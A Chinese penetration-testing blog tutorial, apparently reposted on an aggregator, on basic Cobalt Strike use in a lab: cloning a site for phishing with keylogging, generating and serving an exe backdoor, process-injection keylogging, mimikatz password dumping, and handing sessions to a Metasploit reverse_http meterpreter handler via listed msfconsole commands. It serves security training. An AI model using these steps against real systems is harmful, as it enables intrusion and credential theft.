『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole

2024-02-08 17:10

本文主要是介绍『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 环境
  • 配置cs
    • 启动cs服务器
    • 登录客户端
  • 网页钓鱼
  • 靶机渗透
    • 创建Listener
    • 生成后门
    • 靶机上线
      • *python文件服务器
      • cs自带文件服务器
    • 修改sleep时间
    • 读取目录
    • 进程注入记录键盘输入
    • 截图
    • mimikatz获取密码
  • Cobalt Strike联动msfconsole
  • 插件安装
  • 参考

本实验在安全隔离环境中运行
仅供教学使用

环境

  • kali:Cobalt Strike4.3,192.168.225.129
  • winxp:192.168.225.130

配置cs

启动cs服务器

首先给cs文件夹权限

chmod -R 777 ./cobaltstrike4.3  

启动cs服务器,teamserver ip password,自定义密码,ip填公网/局域网,不可填127.0.0.1

在这里插入图片描述
默认端口50050

登录客户端

sh ./start.sh

这里由于直接在服务器上面开客户端,所以可以填127.0.0.1,最好还是填局域网IP

在这里插入图片描述

网页钓鱼

选择克隆网站

在这里插入图片描述
克隆目标网站作为钓鱼,勾选记录键盘

在这里插入图片描述
靶机访问并输入文字

在这里插入图片描述
即可截获输入内容

在这里插入图片描述

靶机渗透

创建Listener

先创建监听器

在这里插入图片描述
add一个http监听器,host选择客户端ip

Beacon为内置的Listener,获取shell到CS上,Foreign为外部结合的Listener,常用于MSF的结合

在这里插入图片描述
创建成功

在这里插入图片描述

生成后门

攻击package有四种

在这里插入图片描述

  1. hta
  2. office宏
  3. 自定义payload
  4. exe

演示选择exe,配置对应监听器,然后创建32位的exe

在这里插入图片描述
保存到桌面即可

在这里插入图片描述

如果是hta,运行mshta URL即可

靶机上线

这一步模拟受害者下载恶意exe

*python文件服务器

在桌面运行

python3 -m http.server 8010

在这里插入图片描述
靶机访问,点击运行

在这里插入图片描述
即可触发cs上线

cs自带文件服务器

方便一点,选择文件服务器钓鱼

在这里插入图片描述

选中生成的后门,然后修改一个名字
在这里插入图片描述
靶机访问url,点击运行

在这里插入图片描述
触发cs上线

在这里插入图片描述

修改sleep时间

默认60秒靶机向服务端发包告知存活情况,为了是隐藏自己,并获取一次需要执行的命令,执行渗透要把这个时间缩短才能很好地拿到回显

在这里插入图片描述
改小一点就行,演示改成1s

在这里插入图片描述

读取目录

在这里插入图片描述

在这里插入图片描述

进程注入记录键盘输入

靶机开启一个浏览器

在这里插入图片描述
cs浏览进程

在这里插入图片描述
注入explore.exe,并点击log ketstrokes记录键盘

在这里插入图片描述

注入成功后会有新的进程上线,还是跟上面一样别忘了上线后把sleep调小

在这里插入图片描述

靶机在浏览器输入字符,cs键盘记录窗口收到输入的字符

在这里插入图片描述

截图

在这里插入图片描述
打开截图窗口即可看到

在这里插入图片描述

mimikatz获取密码

在这里插入图片描述

Cobalt Strike联动msfconsole

首先保证cs上线

在这里插入图片描述
创建一个foreign http监听器,ip填公网/局域网,端口弄一个不常用的

在这里插入图片描述
然后cs客户端启动msf,这里ip可以填127

msfconsole
use exploit/multi/handler
set lhost 127.0.0.1
set lport 5555
set payload windows/meterpreter/reverse_http
exploit

相当于靶机的请求通过监听器传到了msf

在这里插入图片描述

配置靶机生成请求

在这里插入图片描述
选择msf的监听器

在这里插入图片描述
等一下即可

在这里插入图片描述

插件安装

用梼杌的插件,解压后load cna文件
在这里插入图片描述
邮件上线机器即可

在这里插入图片描述

参考

https://www.freebuf.com/company-information/167460.html
https://github.com/DeEpinGh0st/Erebus
https://github.com/pandasec888/taowu-cobalt-strike

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/125388547
版权声明:本文为原创,转载时须注明出处及本声明

这篇关于『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/691669

相关文章

使用DeepSeek搭建个人知识库(在笔记本电脑上)

《使用DeepSeek搭建个人知识库(在笔记本电脑上)》本文介绍了如何在笔记本电脑上使用DeepSeek和开源工具搭建个人知识库,通过安装DeepSeek和RAGFlow,并使用CherryStudi... 目录部署环境软件清单安装DeepSeek安装Cherry Studio安装RAGFlow设置知识库总

Python FastAPI入门安装使用

《PythonFastAPI入门安装使用》FastAPI是一个现代、快速的PythonWeb框架,用于构建API,它基于Python3.6+的类型提示特性,使得代码更加简洁且易于绶护,这篇文章主要介... 目录第一节:FastAPI入门一、FastAPI框架介绍什么是ASGI服务(WSGI)二、FastAP

Spring-AOP-ProceedingJoinPoint的使用详解

《Spring-AOP-ProceedingJoinPoint的使用详解》:本文主要介绍Spring-AOP-ProceedingJoinPoint的使用方式,具有很好的参考价值,希望对大家有所帮... 目录ProceedingJoinPoijsnt简介获取环绕通知方法的相关信息1.proceed()2.g

Maven pom.xml文件中build,plugin标签的使用小结

《Mavenpom.xml文件中build,plugin标签的使用小结》本文主要介绍了Mavenpom.xml文件中build,plugin标签的使用小结,文中通过示例代码介绍的非常详细,对大家的学... 目录<build> 标签Plugins插件<build> 标签<build> 标签是 pom.XML

JAVA虚拟机中 -D, -X, -XX ,-server参数使用

《JAVA虚拟机中-D,-X,-XX,-server参数使用》本文主要介绍了JAVA虚拟机中-D,-X,-XX,-server参数使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录一、-D参数二、-X参数三、-XX参数总结:在Java开发过程中,对Java虚拟机(JVM)的启动参数进

Java中使用注解校验手机号格式的详细指南

《Java中使用注解校验手机号格式的详细指南》在现代的Web应用开发中,数据校验是一个非常重要的环节,本文将详细介绍如何在Java中使用注解对手机号格式进行校验,感兴趣的小伙伴可以了解下... 目录1. 引言2. 数据校验的重要性3. Java中的数据校验框架4. 使用注解校验手机号格式4.1 @NotBl

Python使用DeepSeek进行联网搜索功能详解

《Python使用DeepSeek进行联网搜索功能详解》Python作为一种非常流行的编程语言,结合DeepSeek这一高性能的深度学习工具包,可以方便地处理各种深度学习任务,本文将介绍一下如何使用P... 目录一、环境准备与依赖安装二、DeepSeek简介三、联网搜索与数据集准备四、实践示例:图像分类1.

Linux系统之authconfig命令的使用解读

《Linux系统之authconfig命令的使用解读》authconfig是一个用于配置Linux系统身份验证和账户管理设置的命令行工具,主要用于RedHat系列的Linux发行版,它提供了一系列选项... 目录linux authconfig命令的使用基本语法常用选项示例总结Linux authconfi

Windows server服务器使用blat命令行发送邮件

《Windowsserver服务器使用blat命令行发送邮件》在linux平台的命令行下可以使用mail命令来发送邮件,windows平台没有内置的命令,但可以使用开源的blat,其官方主页为ht... 目录下载blatBAT命令行示例备注总结在linux平台的命令行下可以使用mail命令来发送邮件,Win

Tomcat的下载安装与使用教程

《Tomcat的下载安装与使用教程》本文介绍了Tomcat的下载、安装和使用方法,包括在本机和云服务器上部署Tomcat的过程,以及解决启动失败问题的方法... 目录Tomcat的下载安装与使用Tomcat的下载与安装Tomcat在本机运行使用Tomcat在php云服务器上的使用总结Tomcat的下载安装与